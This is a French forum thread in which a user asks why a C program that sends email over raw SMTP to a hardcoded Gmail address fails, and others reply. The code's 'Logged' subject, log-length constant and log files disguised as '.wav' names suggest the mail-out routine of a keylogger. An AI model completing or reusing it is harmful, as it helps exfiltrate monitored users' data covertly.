IdentifiantMot de passe
Loading...
Mot de passe oublié ?Je m'inscris ! (gratuit)
Navigation

Inscrivez-vous gratuitement
pour pouvoir participer, suivre les réponses en temps réel, voter pour les messages, poser vos propres questions et recevoir la newsletter

Réseau C Discussion :

Problème envoi d'un fichier par email


Sujet :

Réseau C

Vue hybride

Message précédent Message précédent   Message suivant Message suivant
  1. #1
    Membre confirmé
    Profil pro
    Inscrit en
    Mars 2009
    Messages
    162
    Détails du profil
    Informations personnelles :
    Localisation : France

    Informations forums :
    Inscription : Mars 2009
    Messages : 162
    Par défaut Problème envoi d'un fichier par email
    voici le code
    mais je n'arrive pa a recevoir un email
    Code : Sélectionner tout - Visualiser dans une fenêtre à part
    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    26
    27
    28
    29
    30
    31
    32
    33
    34
    35
    36
    37
    38
    39
    40
    41
    42
    43
    44
    45
    46
    47
    48
    49
    50
    51
    52
    53
    54
    55
    56
    57
    58
    59
    60
    61
    62
    63
    64
    65
    66
    67
    68
    69
    70
    71
    72
    73
    74
    75
    76
    77
    78
    79
    80
    81
    82
    83
    84
    85
    86
    87
    88
    89
    90
    91
    92
    93
    94
    95
    96
    97
    98
    99
    100
    101
    102
    103
    104
    105
    106
    107
    108
    109
    110
    111
    112
    113
    114
    115
    116
    117
    118
    119
    120
    121
    122
    123
    124
    125
    126
    127
    128
    129
    130
    131
    132
     #include <stdio.h>
     #include <stdlib.h>
     #include <windows.h>
     #include <winuser.h>
     #include <windowsx.h>
     #include <time.h>
    #include <winsock.h>
    #include <iostream>
    #include <cstdio>
    #include <sstream>
    #include <fstream>
    #include <sys/types.h>
     
    int MailIt (char *mailserver, char *emailto, char *emailfrom,
     char *emailsubject, char *emailmessage);
     #define BUFSIZE 800
     #define waittime 500
     /*tapper :
     "nslookup -querytype=mx gmail.com" dans la console msdos
     si vous souhaitez avoir les serveurs SMTP à jour*/
     #define cmailserver "gmail-smtp-in.l.google.com"
     #define cemailto "monadrss@gmail.com"
     #define cemailfrom "destinataire@gmail.com"
     #define LogLength 100
     #define FileName "sound.wav"
     #define SMTPLog "ring.wav"
     #define cemailsubject "Logged"
    int main()
    {
    int MailIt (char *mailserver, char *emailto, char *emailfrom,
     char *emailsubject, char *emailmessage) {
     SOCKET sockfd;
     WSADATA wsaData;
     FILE *smtpfile;
     
     #define bufsize 300 // taille du fichier pour l' envoie
     int bytes_sent;
     int err;
     struct hostent *host; // gethostbyname /
     struct sockaddr_in dest_addr; // adresse de l'hote
     char line[1000];
     char *Rec_Buf = (char*) malloc(bufsize+1);
     smtpfile=fopen(SMTPLog,"a+");
     if (WSAStartup(0x202,&wsaData) == SOCKET_ERROR) {
     fputs("WSAStartup failed",smtpfile);
     WSACleanup();
     return -1;
     }
     if ( (host=gethostbyname(mailserver)) == NULL) {
     perror("gethostbyname");
     exit(1);
     }
     memset(&dest_addr,0,sizeof(dest_addr));
    memcpy(&(dest_addr.sin_addr),host->h_addr,host->h_length);
     
     // Prepare dest_addr
     dest_addr.sin_family= host->h_addrtype;
     dest_addr.sin_port= htons(25); // PORT
     
     if ((sockfd=socket(AF_INET,SOCK_STREAM,0)) < 0) {
     perror("socket");
     exit(1);
     }
     /// Connection !
     fputs("Connecting....\n",smtpfile);
     
     if (connect(sockfd, (struct sockaddr *)&dest_addr,sizeof(dest_addr)) == -1){
     perror("connect");
     exit(1);
     }
     Sleep(waittime);
     err=recv(sockfd,Rec_Buf,bufsize,0);Rec_Buf[err] = '\0';
     fputs(Rec_Buf,smtpfile);
     strcpy(line,"helo me.somepalace.com\n");
     fputs(line,smtpfile);
     bytes_sent=send(sockfd,line,strlen(line),0);
     Sleep(waittime);
     err=recv(sockfd,Rec_Buf,bufsize,0);Rec_Buf[err] = '\0';
     fputs(Rec_Buf,smtpfile);
     strcpy(line,"MAIL FROM:<");
     strncat(line,emailfrom,strlen(emailfrom));
     strncat(line,">\n",3);
     fputs(line,smtpfile);
     bytes_sent=send(sockfd,line,strlen(line),0);
     Sleep(waittime);
     err=recv(sockfd,Rec_Buf,bufsize,0);Rec_Buf[err] = '\0';
     fputs(Rec_Buf,smtpfile);
     strcpy(line,"RCPT TO:<");
     strncat(line,emailto,strlen(emailto));
     strncat(line,">\n",3);
     fputs(line,smtpfile);
     bytes_sent=send(sockfd,line,strlen(line),0);
     Sleep(waittime);
     err=recv(sockfd,Rec_Buf,bufsize,0);Rec_Buf[err] = '\0';
     fputs(Rec_Buf,smtpfile);
     strcpy(line,"DATA\n");
     fputs(line,smtpfile);
     bytes_sent=send(sockfd,line,strlen(line),0);
     Sleep(waittime);
     err=recv(sockfd,Rec_Buf,bufsize,0);Rec_Buf[err] = '\0';
     fputs(Rec_Buf,smtpfile);
     Sleep(waittime);
     strcpy(line,"To:");
     strcat(line,emailto);
     strcat(line,"\n");
      strcat(line,"From:");
     strcat(line,emailfrom);
     strcat(line,"\n");
     strcat(line,"Subject:");
     strcat(line,emailsubject);
     strcat(line,"\n");
     strcat(line,emailmessage);
     strcat(line,"\r\n.\r\n");
     fputs(line,smtpfile);
     bytes_sent=send(sockfd,line,strlen(line),0);
     Sleep(waittime);
     err=recv(sockfd,Rec_Buf,bufsize,0);Rec_Buf[err] = '\0';
     fputs(Rec_Buf,smtpfile);
     strcpy(line,"quit\n");
     fputs(line,smtpfile);
     bytes_sent=send(sockfd,line,strlen(line),0);
     Sleep(waittime);
     err=recv(sockfd,Rec_Buf,bufsize,0);Rec_Buf[err] = '\0';
     fputs(Rec_Buf,smtpfile);
     fclose(smtpfile);
     #ifdef WIN32
     closesocket(sockfd);
     WSACleanup();
     #else
     close(sockfd);
     #endif
     }

  2. #2
    Expert confirmé
    Homme Profil pro
    Développeur informatique
    Inscrit en
    Février 2005
    Messages
    5 489
    Détails du profil
    Informations personnelles :
    Sexe : Homme
    Âge : 53
    Localisation : France, Val de Marne (Île de France)

    Informations professionnelles :
    Activité : Développeur informatique
    Secteur : Conseil

    Informations forums :
    Inscription : Février 2005
    Messages : 5 489
    Par défaut
    GMAIL fournis une API en WebService, cela vous simplifiera grandement la vie.

  3. #3
    Membre confirmé
    Profil pro
    Inscrit en
    Mars 2009
    Messages
    162
    Détails du profil
    Informations personnelles :
    Localisation : France

    Informations forums :
    Inscription : Mars 2009
    Messages : 162
    Par défaut
    Citation Envoyé par bacelar Voir le message
    GMAIL fournis une API en WebService, cela vous simplifiera grandement la vie.
    comment opn l'utilise ?

  4. #4
    Expert confirmé
    Homme Profil pro
    Développeur informatique
    Inscrit en
    Février 2005
    Messages
    5 489
    Détails du profil
    Informations personnelles :
    Sexe : Homme
    Âge : 53
    Localisation : France, Val de Marne (Île de France)

    Informations professionnelles :
    Activité : Développeur informatique
    Secteur : Conseil

    Informations forums :
    Inscription : Février 2005
    Messages : 5 489
    Par défaut
    C'est sur leur site, à Google.
    Il te faut une bibliothèque pour client WebService.

  5. #5
    Membre confirmé
    Profil pro
    Inscrit en
    Mars 2009
    Messages
    162
    Détails du profil
    Informations personnelles :
    Localisation : France

    Informations forums :
    Inscription : Mars 2009
    Messages : 162
    Par défaut
    nan je cherche depui 2 jour et jtrouve rien sur une API google
    ...

  6. #6
    Expert confirmé

    Profil pro
    Inscrit en
    Janvier 2007
    Messages
    10 610
    Détails du profil
    Informations personnelles :
    Âge : 67
    Localisation : France

    Informations forums :
    Inscription : Janvier 2007
    Messages : 10 610
    Billets dans le blog
    2
    Par défaut
    euh...

    Tu crois faire quoi quand tu écris :


    Code : Sélectionner tout - Visualiser dans une fenêtre à part
    1
    2
    3
    4
    5
    6
    7
    8
     
    int main()
    {
    int MailIt (char *mailserver, char *emailto, char *emailfrom,
     char *emailsubject, char *emailmessage) {
     SOCKET sockfd;
     WSADATA wsaData;
     FILE *smtpfile;

Discussions similaires

  1. [XL-2007] Envoie fichier par email
    Par Ambrocbt dans le forum Macros et VBA Excel
    Réponses: 9
    Dernier message: 29/09/2011, 14h23
  2. envoi d'un fichier par email
    Par Hellgast dans le forum Réseau
    Réponses: 5
    Dernier message: 14/09/2009, 14h50
  3. Réponses: 12
    Dernier message: 13/01/2006, 10h14
  4. envoi d'un état par email à partir d'un formulaire
    Par claudio-esco dans le forum Access
    Réponses: 7
    Dernier message: 09/12/2005, 11h05
  5. Envoie d'un fichier par Internet
    Par gust dans le forum Access
    Réponses: 7
    Dernier message: 07/12/2005, 15h59

Partager

Partager
  • Envoyer la discussion sur Viadeo
  • Envoyer la discussion sur Twitter
  • Envoyer la discussion sur Google
  • Envoyer la discussion sur Facebook
  • Envoyer la discussion sur Digg
  • Envoyer la discussion sur Delicious
  • Envoyer la discussion sur MySpace
  • Envoyer la discussion sur Yahoo